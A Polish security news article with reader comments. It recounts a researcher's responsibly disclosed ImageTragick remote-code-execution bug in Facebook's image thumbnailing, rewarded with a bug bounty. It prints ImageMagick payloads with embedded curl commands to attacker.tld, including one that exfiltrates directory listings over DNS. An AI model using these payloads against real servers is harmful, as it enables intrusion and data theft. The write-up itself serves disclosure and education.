Jeśli sądzicie, że łowcy nagród za błędy na platformach firm takich jak Facebook czy Google muszą wynajdywać same 0daye to poniższy przykład pokaże Wam, że wcale tak być nie musi. Stare błędy też mogą okazać się całkiem przydatne.
Rosyjski łowca błędów Andriej Leonow opisał na swoim blogu ciekawy przypadek udanego ataku na serwer Facebooka. Udało mu się odnaleźć błąd, dzięki któremu mógł wykonywać dowolny kod na serwerze FB z uprawnieniami serwera WWW. Nagroda w programie bug bounty była spora, a historia zasługuje na jej opisanie.
Intuicja badacza
W październiku 2016 uwagę Andrieja zwrócił link prowadzący do serwerów Facebooka, umożliwiający podzielenie się jakimś URL (opcja „udostępnij”). Link wyglądał następująco:
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H
Jego wyświetlenie powodowało załadowanie m. in. miniaturki obrazka z udostępnianego linka. Miniaturka ta była jednak serwowana już z serwera Facebooka i miała inny rozmiar niż oryginalny obraz. Andriej przedstawił to na zrzucie ekranu:
Badacz zauważył też w kolejnych testach, że po obrazek do miniaturki zgłasza się serwer Facebooka (z polem UserAgent facebookexternalhit/1.1). Próbował zatem podstawiać różne pliki SVG wykorzystujące potencjalne błędy typu SSRF czy XXE, lecz bez rezultatu. Wtedy przyszła mu do głowy szalona myśl – a gdyby tak przetestować podatność na błąd ImageTragick z maja 2016? Jest to dość prosty w wykorzystaniu błąd popularnej biblioteki ImageMagick. Aby go wywołać trzeba osadzić w pliku PNG np. taki zestaw danych:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`' pop graphic-context
co powinno spowodować wywołanie żądania do serwera kontrolowanego przez atakującego. Spreparował zatem odpowiedni plik, Facebook go pobrał lecz badacz nie zauważył efektów. Pomyślał zatem, że być może polityka bezpieczeństwa serwera ogranicza możliwość pobierania zewnętrznych plików poleceniem curl i kolejny zestaw poleceń był już sprytniejszy:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context
W tym ataku Andriej sprawdził, czy skoro nie może zmusić serwera do wykonania połączenia do swojej maszyny w ramach protokołu HTTP, to może uda się wywołać połączenie DNS. Ku swojemu zaskoczeniu zobaczył żądanie do serwera DNS pochodzące od serwera Facebooka. Pozostało już tylko zebrać dowody na istnienie podatności. Przez DNS można przecież przesłać sporo danych. Na przykład takie zapytanie:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context
Może dać taką odpowiedź:
NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A …
Przesłanie zapytania o id daje
NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A
Jak zatem widać Andriej zdobył jeden z wymarzonych celów łowców błędów – wykonanie kodu na serwerze Facebooka. Błąd został oczywiście zgłoszony i załatany w ciągu doby od przesłania wszystkich szczegółów, a po kilku dniach Facebook przyznał badaczowi w pełni zasłużoną nagrodę w wysokości 40 tysięcy dolarów. Jak zatem widać nawet w bardzo popularnej funkcji można znaleźć błąd sprzed kilku miesięcy i nieźle na tym zarobić – wystarczy trochę szczęścia, uporu i intuicji.
A o tym, jak być takim Andriejem lub jak się przed takim Andriejem chronić dowiecie się na naszym szkoleniu z bezpieczeństwa aplikacji WWW.
Komentarze
Jaka jest róznica pomiedzy pierwszym zapytaniem curl, a drugim? Pisze coś o wywołaniu zapytania do serwera dns, a podany jest zwykły adrest http. W czym rzecz?
też tego nie załapałem :[
Drugi wariant powoduje wysłanie do serwera attacker.tld zapytanie o rekord record_under_attacker_controled_ns_server.attacker.tld. Atakujący kontrolując swój serwer dns dla attacker.tld może sobie podglądać wszystkie wysłane do niego zapytania.
Chyba edytowali wpis :P
I wlasnie m.in. o tym, jaka jest różnica, dowiecie się na szkoleniu.
A jak to się ma do niezamówionych pentestów? FB mógł wypłacić 40k, mógł również wysłać zawiadomienie do phokuhatuhy, załatać błąd i całą sprawę zamieść pod dywan, wraz z ambitnym badaczem.